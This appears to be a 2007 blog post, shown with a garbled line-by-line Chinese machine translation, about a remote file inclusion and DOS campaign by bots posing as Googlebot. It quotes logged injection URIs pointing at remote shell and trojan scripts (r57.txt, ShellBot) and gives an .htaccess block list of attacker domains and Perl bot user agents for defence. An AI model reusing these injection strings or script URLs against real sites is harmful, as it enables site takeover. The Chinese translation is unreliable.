Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan 质谱远程代码注射液作为Googlebot会-包欺骗的P erl僵尸和木马

    • Dec 12月
    • 21 21

    Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan 质谱远程代码注射液作为Googlebot会-包欺骗的P erl僵尸和木马

    Posted by Noah Ark 10 months, 2 weeks ago . 发布者诺亚 方舟 10个月， 2周前 。

    Filed under Security & injection .根据提交的安全与 注射。

    国有猫 For this past three days this blog is suffering DOS attack .这个过去的三天里本博客正在遭受DOS攻击。 The attack is still alive now I don’t think they will leave yet.这次袭击还活着，现在我不认为他们会尚未离开。

    I cant banned this bot directly as they were sending forge packet (packet spoofing) as googlebot http://www.whois-search.com/whois/64.233.166.136.本人不能禁止这种机器人，他们直接发送伪造数据包（包欺骗）作为Googlebot会 http://www.whois-search.com/whois/64.233.166.136 。 Im still looking for the right ISP.林仍在寻找合适的ISP 。 

     OrgName: Google Inc. OrgName ：谷歌公司 
 OrgID: GOGL OrgID ：戈格尔 
 Address: 1600 Amphitheatre Parkway地址： 1600剧场百汇 
 City: Mountain View城市：山景 
 StateProv: CA StateProv ：加利福尼亚州 
 PostalCode: 94043邮政编码： 94043 
 Country: US国家：美国

    At the time being I blocked all remote streams from their random host *.com and “perl bot signature” but blocking will not stop them from hammering this site.当时本人正在封锁所有远程溪流从他们随机东道国*. com和“僵尸perl的签字” ，但不会阻止阻止他们锤击这个网站。 I’ll be sending 503 (Service Unavailable) on certain request so if you are having problem accessing this site please check back later.我将派出503 （服务不可用）的某些要求，如果您有问题，访问这个网站，请稍后再检查。

    Type of injections注射型

    There is lot uri parameter in my logs (I will disabled server logs - limit resources) they probably has a large inventories check-lists of known CMS vulnerabilities.有很多参数开放在我的日志（我将禁用服务器日志-限制资源） ，他们可能有大量库存检查名单的已知不育系的弱点。 I can only confirm that its a blackhat seo spams bot as they request uri include the typical order.php page.我只能确认，它是一种blackhat瑞垃圾邮件僵尸因为他们请求包括典型order.php页。 

     /es/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-ja /方块/ WordPress的/如何以删除， WordPress的网中的垃圾邮件注射感染通过麦克风子 
  gger-goro-class-mailphp/order.php/?wp=http://hom3.t35.com/xpl/hack/id.txt? gger-goro-class-mailphp/order.php / ？可湿性粉剂= http://hom3.t35.com/xpl/hack/id.txt ？ 
 /es/wordpress/order.php/?wp=http://hom3.t35.com/xpl/hack/id.txt? /方块/ WordPress的/ order.php / ？可湿性粉剂= http://hom3.t35.com/xpl/hack/id.txt ？ 
 /order.php?wp=http://hom3.t35.com/xpl/hack/id.txt? / order.php ？可湿性粉剂= http://hom3.t35.com/xpl/hack/id.txt ？

    To view the following source you need to exclude the website host from your anti-virus program.要查看下面的源你需要排除主机网站从您的防病毒程序。

    • Perl/ShellBot.B trojan - http://hom3.t35.com/xpl/fidz/hack/bnc.txt 的Perl / ShellBot.B木马 -h ttp://hom3.t35.com/xpl/fidz/hack/bnc.txt
    • PHP/Rst.S Trojan - http://hom3.t35.com/xpl/fidz 的PHP / Rst.S木马 -h ttp://hom3.t35.com/xpl/fidz

    htaccess blocked bad Code Injector and Perl Bot (Botnet) htaccess阻止坏码喷油器和Perl博特（僵尸网络）

    If you has similar problems.如果您也有类似的问题。 you should block the following domain in your htaccess.你应该块下面的域名在您的htaccess 。
    mod_setenvif 

     SetEnvIfNoCase Referer "^http://(www.)?t35\.com" codeinjector_ref=1 SetEnvIfNoCase参考“ ^ http:// （为www ） ？ t35 \ 。 com ”域名codeinjector_ref = 1 
 SetEnvIfNoCase Referer "^http://(www.)?jorgevolio\.com" codeinjector_ref=1 SetEnvIfNoCase参考“ ^ http:// （为www ） ？ jorgevolio \ 。 com ”域名codeinjector_ref = 1 
 SetEnvIfNoCase Referer "^http://(www.)?emabe\.com" codeinjector_ref=1 SetEnvIfNoCase参考“ ^ http:// （为www ） ？ emabe \ 。 com ”域名codeinjector_ref = 1 
 SetEnvIfNoCase Referer "^http://(www.)?pawang\.in" codeinjector_ref=1 SetEnvIfNoCase参考“ ^ http:// （为www ） ？ pawang \ 。在” codeinjector_ref = 1 
 SetEnvIfNoCase Referer "^http://(www.)?gw-gold\.net" codeinjector_ref=1 SetEnvIfNoCase参考“ ^ http:// （为www ） ？毛重金\ 。净” codeinjector_ref = 1 
 SetEnvIfNoCase User-Agent "^libwww-perl*" shell_bots=1 SetEnvIfNoCase用户代理“ ^ libwww - perl的* ” shell_bots = 1 
 SetEnvIfNoCase User-Agent "^Amidalla*" shell_bots=1 SetEnvIfNoCase用户代理“ ^ Amidalla * ” shell_bots = 1 

 <FilesMatch "(.*)"> <FilesMatch "(.*)"> 
 Order Allow,Deny为了允许，否认 
 Allow from all允许从所有 
 Deny from env=codeinjector_ref拒绝从包膜= codeinjector_ref 
 Deny from env=shell_bots拒绝从包膜= shell_bots 
 </FilesMatch> “ / FilesMatch ”

    if u arent sure if you server support mod_setenvif wrap it like the below example.如果ü arent如果您务必服务器的支持mod_setenvif总结像下面的例子。 

     <IfModule mod_setenvif.c> <IfModule mod_setenvif.c> 
 #...replace this line with the above code... ＃ ...取代此行与上面的代码... 
 </IfModule> “ / IfModule ”

    How to trap Perl Shell Bot如何陷阱的Perl壳牌博特

    We need a pattern to trap this bots.我们需要一个模式，这个机器人陷阱。 certainly we knew that these bots :当然我们知道，这些漫游：

    • doesn’t honor robot.txt没有荣誉robot.txt
    • they crawl all subdirectory他们检索所有子目录
    • they has a pattern URI request他们有一个模式的URI请求

    For now I only create subdirectory for auto-ban (and some other stuff) based on their pattern.现在我只能建立子目录自动禁止（和一些其他的东西）根据他们的模式。 alexa bot will be banned too as they dont honor robot.txt. Alexa的僵尸将禁止他们也不要荣誉robot.txt 。

    I’ll be updating this post from time to time.我会更新这个职位时有发生。 Do check the related articles on how to packet spoofing and validating forge/spoof packet.不要检查有关条款对如何包欺骗和验证建立/欺骗数据包。

    Recent Scan & Update最近的扫描和更新

    The below list is automatically added.下面的清单是自动加入。

    December 24, 2007 2007年12月24日
    ip: 64.26.63.10 param: login= , ? inject: http://pawang.in/r57.txt ip地址： 64.26.63.10参数： 登录= ， ？注入： http://pawang.in/r57.txt
    December 24, 2007 2007年12月24日
    ip: 64.26.63.10 param: dir= , login= inject: http://pawang.in/r57.txt???? ip地址： 64.26.63.10参数： 目录= ，登录=注入： http://pawang.in/r57.txt ？ ？ ？ ？
    December 25, 2007 2007年12月25号
    ip: 59.158.128.138 param: p= , :allinurl= inject: http://gw-gold.net/jpg/pictures/test.txt ip地址： 59.158.128.138参数： P值 ， ： allinurl =注入： http://gw-gold.net/jpg/pictures/test.txt

    External Resources外部资源

    About the Author作者简介

     

    Tags: 标签：
    • December 21, 2007 at 10:48 pm 07年12月21日在下午10时48分
    • February 16, 2008 at 3:05 am 2008年2月16号在上午03时05
    • 0.3
    • url网址

    • No Responses to “ Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan ” 没有回应 “地下远程代码注射液作为Googlebot会-包欺骗的P erl僵尸和木马”

      Trackback URL: 引用网址： Use the TrackBack url ↑ to ping this article. 使用引用网址↑以平本条。 If your blog does not support Trackbacks you might want to leave a comment instead. 如果您的博客不支持搬场您可能想要发表评论代替。
        • RE: Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan - 'The Guide' ↓ 稀土：大众远程代码注射液作为Googlebot会-包欺骗的P erl僵尸和木马- '指南'↓
          Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan Kakkoi 10 months, 2 weeks ago 5 url 质谱远程代码注射液作为Googlebot会-包欺骗的P erl僵尸和木马K akkoi1 0个月， 2周前5 网址
          马文视点枪

          The following "Code" are designed to protect you and other users of this site. 下面的“守则”旨在保护您和其他用户的这个网站。

          • Be relevant: Your comment should be a thoughtful contribution to the subject of the entry. 相关：您的评论应该是一个深思熟虑的贡献的主题项目。 Keep your comments constructive and polite.让您的建设性意见和礼貌。
          • No advertising or spamming: Do not use the comment feature to promote commercial entities/products, affiliates services or websites. 没有广告或垃圾邮件：不要使用评论功能，以促进商业实体/产品，公司服务或网站。 You are allowed to post a link as long as it's relevant to the entry.您可以张贴一个链接，只要它的相关条目。
          • Keep within the law: Do not link to offensive or illegal content websites. 请在法律范围内：不要链接到攻击性或非法内容的网站。 Do not make any defamatory or disparaging comments which might damage the reputation of a person or organisation.不要让任何诽谤或诋毁评论可能损害声誉的人或组织。
          • Privacy: Do not post any personal information relating to yourself or anyone else - (ie: address, place of employment, telephone or mobile number or email address). 隐私：请勿张贴任何个人信息与自己或别人-（即：地址，就业地点，电话或手机号码或电子邮件地址） 。

          In order to keep these experiences enjoyable and interesting for all of our users, we ask that you follow the above guidlines.为了使这些经验，愉快的和令人感兴趣的所有的用户，我们请您按照上述guidlines 。

          be the first to comment.首先评论。

          Kakkoi Feel free to engage, ask questions, and tell us what you are thinking! 随时进行，询问问题，并告诉我们您的想法！ Regular and insightful comments are most welcomed. 经常和有见地的评论是最值得欢迎的。

    "write as if you were talking to a good friend (in front of your mother)." “写的，如果你跟一个好朋友（前面的你的母亲） 。 ”

    .have your say 。 您 说

    Disclaimer: For any content that you post, you hereby grant to Kakkoi the royalty-free, irrevocable, perpetual, exclusive and fully sublicensable license to use, reproduce, modify, adapt, publish, translate, create derivative works from, distribute, perform and display such content in whole or in part, world-wide and to incorporate it in other works, in any form, media or technology now known or later developed. Some rights reserved. 声明：对于任何内容，您后，您在此授予Kakkoi的免版税的，不可撤销的，永久性，排他性和充分转授的许可使用，复制，修改，改编，出版，翻译，创造衍生作品，分发，执行和显示这些内容的全部或部分，全世界范围内，并把它在其他作品，以任何形式，媒体或技术现在已知或以后开发。 一些版权所有。

MySQL query error MySQL查询错误